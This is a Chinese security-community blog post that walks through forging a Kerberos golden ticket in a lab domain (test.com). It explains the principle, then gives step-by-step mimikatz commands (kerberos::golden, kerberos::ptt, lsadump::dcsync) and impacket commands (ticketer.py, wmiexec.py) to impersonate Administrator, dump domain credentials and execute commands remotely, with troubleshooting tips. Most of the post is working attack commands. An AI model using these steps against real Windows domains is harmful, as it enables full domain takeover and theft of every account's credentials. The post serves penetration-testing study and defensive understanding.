黄金票据的制作与使用

白帽子社区

共 2675字,需浏览 6分钟

 ·

2021-09-30 16:48

原理

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。


所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。

kerberos协议原理请参考:NTML认证与kerberos认证与PAC相关知识。


前置条件

1.krbtgt的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限


操作步骤

清空已有票据

kerberos::purge

制作黄金票据

kerberos::golden/user:Administrator/domain:test.com/sid:S-1-5-21-4166986646-4168497534-2490551922 /krbtgt:308390d1ca7addf22c84ba9f1d26cbe4 /ticket:1.kirbi

加载黄金票据

kerberos::ptt 1.kirbi

检测成果

lsadump::dcsync /domain:test.com /user:krbtgt


使用mimikatz实现

mimikatz下载地址:https://github.com/gentilkiwi/mimikatz/releases
假设我们已经通过某种方式获得了域控的krbtgt的hash为d8d2ad72a119a8d418703f7a16580af6。

1.开启一个管理员权限的cmd窗口


2.使用mimikatz

第一步:提权&清空票据

klist purge #在cmd中执行

privilege::Debug
kerberos::purge
kerberos::list

第二步:制作黄金票据

获得域sid:S-1-5-21-3763276348-88739081-2848684050-1110


执行命令:
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi

执行结束后,会在运行目录生成一个1.kirbi的文件。

第三步:使用黄金票据

这时候我们先看看能不能使用dcsync命令,这个命令是只有域控权限才能使用的,作用是导出域内所有用户的账号密码。当然结果肯定是失败的:


因为我们并没有域控的“身份证”也就是tgt。

这时候我们将刚制作好的伪造的tgt导入系统并进行测试:
kerberos::ptt 1.kirbi
lsadump::dcsync /domain:test.com /user:krbtgt

遇到的一些坑

做完票据后执行lsadump::dcsync /domain:test.com /user:krbtgt会报错。后来研究了很久才发现,只要稍等几分钟然后测试执行那个命令就会成功,或者退出mimikatz再进去就可以成功,原理我也不知道。

这种票据只会存在管理员权限的命令行窗口中,如果这时候换一个命令行窗口执行,就会发现没有这个凭证。

利用impacket实现

原理跟利用mimikatz一样,只是利用的工具不一样而已。

实现

第一步:打开管理员权限的命令行窗口并清空票据

第二步:制作ccache文件

python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain test.com administrator

第三步:更改环境变量

set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache

第四步:验证成果

python wmiexec.py test.com/administrator@yukong -k -no-pass


总结

利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \\ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机。命令格式为:

xxxx.py domain/username@hostname -k -no-pass

这里的domain必须跟systeminfo中的domain的值一样。
hostname 可以通过net view命令,或者nbtstat -A ip,或者ping -a ip来确定,推荐ping -a命令。

因为test为域名,所以yukong就为主机名。

FQDN是什么?
FQDN是完全合格域名/全程域名缩写,Fully Qualified Domain Name,即是域名,访问时将由DNS进行解析,得到IP。FQDN = Hostname + DomainName,举个例子,一个公司申请了域名comp.com,这时候有一台主机名为web,则可以使用web.comp.com得到这个主机IP。若还有两台提供邮件和OA服务的主机cmail,oa,则这时候可以用以下FQDN:
cmail.comp.com
oa.comp.com

impacket的更多用法请看下面这篇文章:
https://blog.csdn.net/qq_41874930/article/details/108253531



往期精彩文章




baijiacmsV4代码审计!
记一道有趣的“签到”题
php代码审计总结
MISC中常用python脚本




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 95
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报